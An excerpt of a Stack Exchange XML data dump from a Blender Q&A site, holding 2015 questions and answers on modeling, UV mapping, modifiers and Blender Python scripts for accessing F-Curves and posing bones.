  <row Id="28162" PostTypeId="1" CreationDate="2015-04-06T15:44:37.953" Score="3" ViewCount="979" Body="&lt;p&gt;for the addon I'm working on, I need a list of all fcurves (a list of all selected/visible fcurves would be enouph)&#xA;Do I really have to loop through all animation_data objects to get this list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Jacques Lucke&lt;/p&gt;&#xA;" OwnerUserId="5449" LastActivityDate="2015-04-08T15:17:24.613" Title="how to get a list of all FCurves in a scene" Tags="&lt;python&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28163" PostTypeId="1" AcceptedAnswerId="28164" CreationDate="2015-04-06T16:00:14.920" Score="2" ViewCount="628" Body="&lt;p&gt;I am try to make a model of a knife, and i am using the loop cut and slide option.&#xA;this is what i managed to do before i ran into a little problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E8TYQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now i want to make it so that the purple line that appears when i click on the loop cut and slide option is rotate by 90 so that i can place it like this&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eY72W.png&quot; alt=&quot;http://prntscr.com/6qbno4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am using a plane mesh to which i added some thickness &lt;/p&gt;&#xA;" OwnerUserId="13647" LastEditorDisplayName="user1853" LastEditDate="2015-04-06T16:05:39.697" LastActivityDate="2015-04-06T16:36:26.107" Title="Is it possible to add a loop cut and slide like this" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="10" ClosedDate="2015-04-06T18:24:05.167" ContentLicense="CC BY-SA 3.0" />
  <row Id="28164" PostTypeId="2" ParentId="28163" CreationDate="2015-04-06T16:36:26.107" Score="4" Body="&lt;p&gt;I see that you have a triangular face there.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WccXb.jpg&quot; alt=&quot;your situation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make it quadratic and the edge loop would work.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oFpa6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-04-06T16:36:26.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28165" PostTypeId="2" ParentId="99" CreationDate="2015-04-06T16:55:09.187" Score="3" Body="&lt;p&gt;in OSX you will find the xml files you've saved in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/Users/your_user_name/Library/Application Support/Blender/2.65/scripts/presets/interface_theme&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what OS you're on but this helped me on OSX.&lt;/p&gt;&#xA;" OwnerUserId="13648" LastActivityDate="2015-04-06T16:55:09.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28166" PostTypeId="2" ParentId="28159" CreationDate="2015-04-06T19:34:28.487" Score="10" Body="&lt;p&gt;I assume you are rotating the bone in pose mode, for this you can use the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import math&#xA;import bpy&#xA;&#xA;ob = bpy.data.objects['Armature']&#xA;bpy.context.scene.objects.active = ob&#xA;bpy.ops.object.mode_set(mode='POSE')&#xA;&#xA;pbone = ob.pose.bones[bname]&#xA;# Set rotation mode to Euler XYZ, easier to understand&#xA;# than default quaternions&#xA;pbone.rotation_mode = 'XYZ'&#xA;# select axis in ['X','Y','Z']  &amp;lt;--bone local&#xA;axis = 'Z'&#xA;angle = 120&#xA;pbone.rotation_euler.rotate_axis(axis, math.radians(angle))&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;#insert a keyframe&#xA;pbone.keyframe_insert(data_path=&quot;rotation_euler&quot; ,frame=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the code from this &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:IT/2.5/Py/Scripts/Cookbook/Code_snippets/Armatures&quot; rel=&quot;noreferrer&quot;&gt;wiki page&lt;/a&gt; , it contains useful scripts for batch job&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="28015" LastEditDate="2017-04-23T19:49:59.833" LastActivityDate="2017-04-23T19:49:59.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28167" PostTypeId="2" ParentId="27975" CreationDate="2015-04-06T20:07:56.980" Score="1" Body="&lt;p&gt;I figured out the problem.  I just handled the problem locally in the Icosphere rather than controlling it with the Empty.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-04-06T20:07:56.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28168" PostTypeId="1" AcceptedAnswerId="28386" CreationDate="2015-04-06T20:42:51.540" Score="3" ViewCount="344" Body="&lt;p&gt;I applied a normal map to one of the object in my game, and because I am having some trouble with lighting, I was wondering if there was a way to have a shadeless material while still keeping the normal map effect.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="12805" LastEditDate="2015-04-06T20:50:59.943" LastActivityDate="2015-04-12T11:21:21.350" Title="How to do apply a shadeless material bump map" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28169" PostTypeId="2" ParentId="27980" CreationDate="2015-04-06T21:02:51.873" Score="13" Body="&lt;p&gt;In the following animation I'm double-tapping the &lt;kbd&gt;g&lt;/kbd&gt; key to move points and edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LKzWK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the video, an entire corner piece was moved and I don't think this can be easily done using Blender yet.  There may be an Addon for this, I'm not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned in the comments above, the UV Project Modifier can be useful and there is also a way to do something similar in Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's called Box Mapping and uses the Texture Coordinates node to create coordinates using various methods, in this case I used the Object Coordinates.  This way, you can edit the mesh all you like without affecting the texture and then once you have the model ready, you can bake the box mapped texture to the UV coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a quick Cycles render that shows Blended Box Mapping in Action.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ozjVV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just a plain cube with no UV coordinates.  There are 3 other cubes that are being used as Boolean Objects on the cube that is being rendered.  The next image shows the node and model setup for the brick box looking thing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EsBR4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can pretty much do whatever you want to this model and not have to worry about the UV Coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EOaxW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the Booleans are applied, the model is unwrapped and the texture is baked.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C35GA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now back to the original question.  Loop Cut and Slide &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;r&lt;/kbd&gt; can be set to maintain UV's.  The Inset tool does this as well&lt;kbd&gt;i&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-04-06T21:40:37.490" LastActivityDate="2015-04-06T21:40:37.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28170" PostTypeId="1" CreationDate="2015-04-06T21:11:29.893" Score="1" ViewCount="95" Body="&lt;p&gt;I've started experiencing unexpected shutdowns when baking AO textures. The various parts of the stalwart are all placed in one project file so that I can AO texture them all. I've done various bakes as I've gone along, but when I come to attempt the final bakes I'm starting to experience the machine simply switching off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated to blender 2.74, but the shutdowns have continued.  There's nothing in the event viewer log before the shutdown, but there are a few critical/error events when restarting after the shutdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just wondered whether there's something I can do with blender settings to prevent this (I've searched several times, doesn't seem to be a common problem), or whether I need to take my problem to the Microsoft support forums (as I suspect might be the case).&lt;/p&gt;&#xA;" OwnerUserId="13650" LastEditorUserId="2217" LastEditDate="2015-04-06T21:53:27.200" LastActivityDate="2015-04-06T21:53:27.200" Title="Baking AO textures causes unexpected computer shutdown" Tags="&lt;texture-baking&gt;&lt;windows&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-04-06T21:53:40.500" ContentLicense="CC BY-SA 3.0" />
  <row Id="28171" PostTypeId="1" CreationDate="2015-04-06T22:48:15.780" Score="0" ViewCount="1063" Body="&lt;p&gt;I created a simple model and exported the file as an STL. However, when I go to the folder the file is a Certificate Trust List and is only 1KB in size. I don't know what I did wrong.&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2015-04-23T17:14:47.000" Title="My STL format export is only 1KB in size? Any idea what went wrong?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28172" PostTypeId="1" CreationDate="2015-04-06T23:07:17.867" Score="2" ViewCount="210" Body="&lt;p&gt;I'm not sure what I did, but scrolling no longer lets me &quot;look around&quot; my object, it just scrolls in and out of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: So this morning, I open up the program, and it's working again. I didn't change any settings between using the 3-button mouse settings like Chebhou said. Not sure what happened. Thanks for all the help!&lt;/p&gt;&#xA;" OwnerUserId="13651" LastEditorUserId="13651" LastEditDate="2015-04-07T18:58:03.693" LastActivityDate="2015-04-07T18:58:03.693" Title="Scrolling doesn't rotate around the model anymore, just zooms in and out" Tags="&lt;3d-view&gt;" AnswerCount="0" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="28174" PostTypeId="1" CreationDate="2015-04-07T00:41:21.273" Score="2" ViewCount="1404" Body="&lt;p&gt;Up in the Screens menu my &lt;em&gt;UV Editing&lt;/em&gt; has disappeared. How can I get it back?&lt;/p&gt;&#xA;" OwnerUserId="13652" LastEditorUserId="2217" LastEditDate="2015-04-07T01:55:16.547" LastActivityDate="2015-04-07T01:55:16.547" Title="UV Editing screen not showing/available" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28175" PostTypeId="2" ParentId="26781" CreationDate="2015-04-07T00:45:27.313" Score="1" Body="&lt;p&gt;Other way is to use &lt;strong&gt;&lt;kbd&gt;B&lt;/kbd&gt;&lt;/strong&gt; Click and drag.&#xA;Press &lt;strong&gt;&lt;kbd&gt;Esc&lt;/kbd&gt;&lt;/strong&gt; to end selection.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/587ed.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-04-07T00:45:27.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28176" PostTypeId="2" ParentId="28174" CreationDate="2015-04-07T01:07:32.910" Score="3" Body="&lt;p&gt;The screens can be be deleted by clicking the &lt;kbd&gt;X&lt;/kbd&gt; button or added by the &lt;kbd&gt;+&lt;/kbd&gt; button on the info header , when you create new one you should save the start-up file to keep it for other sessions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HnBFJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the the default screens back you have to reset all the user settings to default from File-&gt;Load Factory Settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/opppx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-07T01:07:32.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28177" PostTypeId="2" ParentId="28174" CreationDate="2015-04-07T01:24:03.157" Score="2" Body="&lt;p&gt;Just as a reference I'll post the shortcuts for the different window types&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F2&lt;/kbd&gt; = Logic Editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F3&lt;/kbd&gt; = Node Editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F4&lt;/kbd&gt; = Console&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F5&lt;/kbd&gt; = 3D View&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F6&lt;/kbd&gt; = Graph Editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F7&lt;/kbd&gt; = Properties&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F8&lt;/kbd&gt; = Video Sequence Editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F9&lt;/kbd&gt; = Outliner&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F10&lt;/kbd&gt; = UV/Image Editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F11&lt;/kbd&gt; = Text Editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F12&lt;/kbd&gt; = Dope Sheet&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-04-07T01:24:03.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28178" PostTypeId="2" ParentId="26781" CreationDate="2015-04-07T01:32:25.827" Score="11" Body="&lt;p&gt;There are multiple ways of doing this told below:&lt;br&gt;&#xA;&lt;strong&gt;Box select&lt;/strong&gt;: press the &lt;kbd&gt;B&lt;/kbd&gt; key and you can click and drag a square that will select everything inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Circle select&lt;/strong&gt;: press the &lt;kbd&gt;C&lt;/kbd&gt; key, and your mouse will change to a circle, anything clicked inside the circle will be selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Holding shift&lt;/strong&gt;: You can manually select vertices while holding &lt;kbd&gt;Shift&lt;/kbd&gt; down to keep the previous selections as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Select Linked&lt;/strong&gt;: With one vertex selected of an object and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; you will select the whole object itself that is part of that one vertices you selected at the start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems you are a beginner these option should be enough and to get you started, then you can use the transformation manipulators (using arrows on the screen) or press the &lt;kbd&gt;G&lt;/kbd&gt; while selected to move it as well.&lt;/p&gt;&#xA;" OwnerUserId="7822" LastEditorUserId="2217" LastEditDate="2015-04-07T15:20:11.897" LastActivityDate="2015-04-07T15:20:11.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28179" PostTypeId="1" CreationDate="2015-04-07T01:40:05.183" Score="4" ViewCount="601" Body="&lt;p&gt;I'm animating a particle system of metaballs, and finding that the scene takes a long time to initialize before it can even start rendering. I'm finding it annoying as I work on materials, since there's a lot of recalculating the same metalballs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to bake complicated metaball calculations? &lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-04-07T01:40:05.183" Title="Baking metaball solver" Tags="&lt;meta-objects&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28181" PostTypeId="1" CreationDate="2015-04-07T04:06:02.173" Score="1" ViewCount="220" Body="&lt;p&gt;Is there a way to Lock properties from applying object transformations ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using lattice and accidently applying object transformations is causing unwanted results. Please see the Animated GIF of &quot;problem caused by applying object transformations to lattice&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gbscS.gif&quot; alt=&quot;problem caused by applying object transformations to lattice&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2015-04-08T17:01:08.797" Title="Lock properties from applying object transformations" Tags="&lt;properties&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28182" PostTypeId="1" AcceptedAnswerId="28184" CreationDate="2015-04-07T05:15:35.990" Score="5" ViewCount="1864" Body="&lt;p&gt;I am using lattice modifier on an object and I just want to duplicate the modifier on the object its already applied. How do I do it ?&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2015-04-07T05:54:08.507" Title="How to duplicate modifier on same object?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28184" PostTypeId="2" ParentId="28182" CreationDate="2015-04-07T05:54:08.507" Score="7" Body="&lt;p&gt;There is a &lt;em&gt;Copy&lt;/em&gt; button near the top of any modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zuawo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-04-07T05:54:08.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28185" PostTypeId="2" ParentId="27703" CreationDate="2015-04-07T06:05:13.123" Score="4" Body="&lt;p&gt;Oh I see what is wrong, you cannot use a Scene Sequencer as output from a scene.&#xA;Therefore you cannot send one sequencer to another sequencer. You can only:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image/movie &gt; Sequencer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scene Compositor &gt; Sequencer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scene 3D view  &gt; Sequencer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scene Sequencer =/= Sequencer&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-04-07T06:05:13.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28186" PostTypeId="2" ParentId="28162" CreationDate="2015-04-07T06:50:59.090" Score="4" Body="&lt;h3&gt;F-Curves via Actions&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;bpy.data.actions&lt;/code&gt; to get a list of all F-Curves in the scene, but &lt;strong&gt;actions are not associated with objects, scenes or nodes&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in bpy.data.actions:&#xA;    print (i.name)&#xA;    for fcu in i.fcurves:&#xA;        print (fcu)&#xA;        for keyframe in fcu.keyframe_points:&#xA;            x, y = keyframe.co&#xA;            print (x,y)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's only possible to check if the actual object is associated with an action via &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.types.Object.html?highlight=animation%20data#bpy.types.Object.animation_data&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;animation_data&lt;/strong&gt;&lt;/a&gt; in a reverse operation with &lt;code&gt;Object.animation_data.action&lt;/code&gt; to get something like: &lt;code&gt;bpy.data.actions['Action']&lt;/code&gt;. Another option is to check &lt;code&gt;animation_data.action.name&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you need to know &lt;strong&gt;which F-Curve is applied to objects or nodes in your scene&lt;/strong&gt;, the only way is to use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.types.Object.html?highlight=animation%20data#bpy.types.Object.animation_data&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;animation_data&lt;/strong&gt;&lt;/a&gt; and iterate through all components like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Object.animation_data&lt;/code&gt; &lt;em&gt;- F-Curves of an Object&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Scene.animation_data&lt;/code&gt; &lt;em&gt;- F-Curves of the Scene&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Material.animation_data&lt;/code&gt; &lt;em&gt;- F-Curves of a Material&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;F-Curves of an Object&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;&#xA;obj = bpy.context.active_object&#xA;keyframes = []&#xA;&#xA;anim = obj.animation_data&#xA;if anim is not None and anim.action is not None:&#xA;    for fcu in anim.action.fcurves:&#xA;        print (fcu)&#xA;        for keyframe in fcu.keyframe_points:&#xA;            x, y = keyframe.co&#xA;            print (x,y)&#xA;            if x not in keyframes:&#xA;                keyframes.append((math.ceil(x)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the &lt;strong&gt;F-Curves of all objects in the scene&lt;/strong&gt; you can use &lt;code&gt;bpy.data.objects&lt;/code&gt; and iterate through the objects in the scene like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object_list = bpy.data.objects&#xA;&#xA;for i in object_list:&#xA;    anim = i.animation_data&#xA;    if anim is not None and anim.action is not None:&#xA;        for fcu in anim.action.fcurves:&#xA;            print (fcu)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;F-Curves of a Node Shader&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.context.object&#xA;&#xA;shader = obj.data.materials[0].node_tree&#xA;anim_data = shader.animation_data&#xA;&#xA;for fcu in anim_data.action.fcurves:&#xA;    print (fcu)&#xA;    for keyframe in fcu.keyframe_points:&#xA;        x, y = keyframe.co&#xA;        print (x,y)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-04-08T15:17:24.613" LastActivityDate="2015-04-08T15:17:24.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28187" PostTypeId="1" AcceptedAnswerId="28189" CreationDate="2015-04-07T06:56:13.313" Score="2" ViewCount="141" Body="&lt;p&gt;there is any detailed tree structure on what comes under what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is accessible from where and what is not accessible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A clear tree structure idea of blender data blocks, scene window hierarchy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically giving the logic of how blender is designed.&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="2217" LastEditDate="2015-04-07T15:09:32.620" LastActivityDate="2015-04-07T15:09:32.620" Title="Is there any tree structure document which tells about how blender is structured?" Tags="&lt;interface&gt;&lt;blend-files&gt;&lt;outliner&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28188" PostTypeId="1" CreationDate="2015-04-07T07:24:32.810" Score="1" ViewCount="77" Body="&lt;p&gt;If I use lattice deform along with an armature, will it slow down my animation (speed of preview and render-time) compared same character being animated with just an armature?&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="6204" LastEditDate="2015-04-09T11:53:27.887" LastActivityDate="2015-04-09T11:53:27.887" Title="Will lattice deform slow down a preview animation?" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;rigging&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28189" PostTypeId="2" ParentId="28187" CreationDate="2015-04-07T08:24:11.037" Score="4" Body="&lt;p&gt;Use the &lt;em&gt;Datablocks&lt;/em&gt; view option in &lt;em&gt;Outliner&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QxEQO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-07T08:24:11.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28190" PostTypeId="1" AcceptedAnswerId="28193" CreationDate="2015-04-07T08:47:16.833" Score="6" ViewCount="3202" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T2ikR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a new Blender user coming from Maya. One of my favorite things to do is use bridging to create wires. I love Blender's modeling tools except for this one and was hoping there is a solution/plugin to fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maya's bridging system is fantastic. From any angle at any depth it auto-connects and comes with a curve so I can tweak the bridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If two surfaces in Blender are not on the same plane, the mesh folds on itself. No amount of cuts or twisting or even angling the faces toward each other (as some tutorials say) save the day. Additionally, I have very little option in the way of tweaking the bridge's shape afterward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allen&lt;/p&gt;&#xA;" OwnerUserId="13400" LastActivityDate="2015-04-08T17:23:39.207" Title="A problem with Blender's Bridge Edge Loops system" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28191" PostTypeId="1" AcceptedAnswerId="28199" CreationDate="2015-04-07T09:18:55.830" Score="2" ViewCount="352" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Noqqh.png&quot; alt=&quot;When I start the game or press &amp;lt;kbd&amp;gt;P&amp;lt;/kbd&amp;gt; it doesn&amp;#39;t display the cube&quot;&gt;&#xA;When I start the game or press &lt;kbd&gt;P&lt;/kbd&gt; it doesn't display my big brow sky cube.&lt;/p&gt;&#xA;" OwnerUserId="13657" LastEditorUserId="5426" LastEditDate="2015-09-24T14:04:15.193" LastActivityDate="2015-09-24T14:04:15.193" Title="I made a game and I put a skybox or simply box but when I start game the camera isn't displaying it" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;camera&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28192" PostTypeId="1" AcceptedAnswerId="28194" CreationDate="2015-04-07T13:19:59.997" Score="2" ViewCount="1076" Body="&lt;p&gt;I have a model: tree with few branches. The main tree trunk is laid on one UV map, and all branches laid on the second uv map. I have a textures ready for both of them, but i'm having trouble mixing them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a little picture to illustrate: &lt;img src=&quot;https://i.stack.imgur.com/m0uwN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to mix those 2 textures and see them both on the same object. I have tried using &quot;Mix Shader&quot;, and it works, but it only lets me see one of my textures at a time. Or if i put mix slider on 0.5, i can see both of them half muted. I also tried using &quot;Add Shader&quot; to mix my textures, and for some reason it produces something that also looks like a half muted combination of my 2 textures. And i would like to see them both simultaneously at the full power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have searched the solution, but was unable to find anything that handled my situation. All tutorials that i found handled the case where few UV sets was identical and textures was laid on each other just by using &quot;Factor&quot; attribute. In my case UV are radically different and textures do not lay on each other, so i was unable to use anything i learned from those tutorials i found.&lt;/p&gt;&#xA;" OwnerUserId="12973" LastActivityDate="2015-04-07T13:53:35.683" Title="How to mix 2 textures using different UV maps on one object" Tags="&lt;cycles-render-engine&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
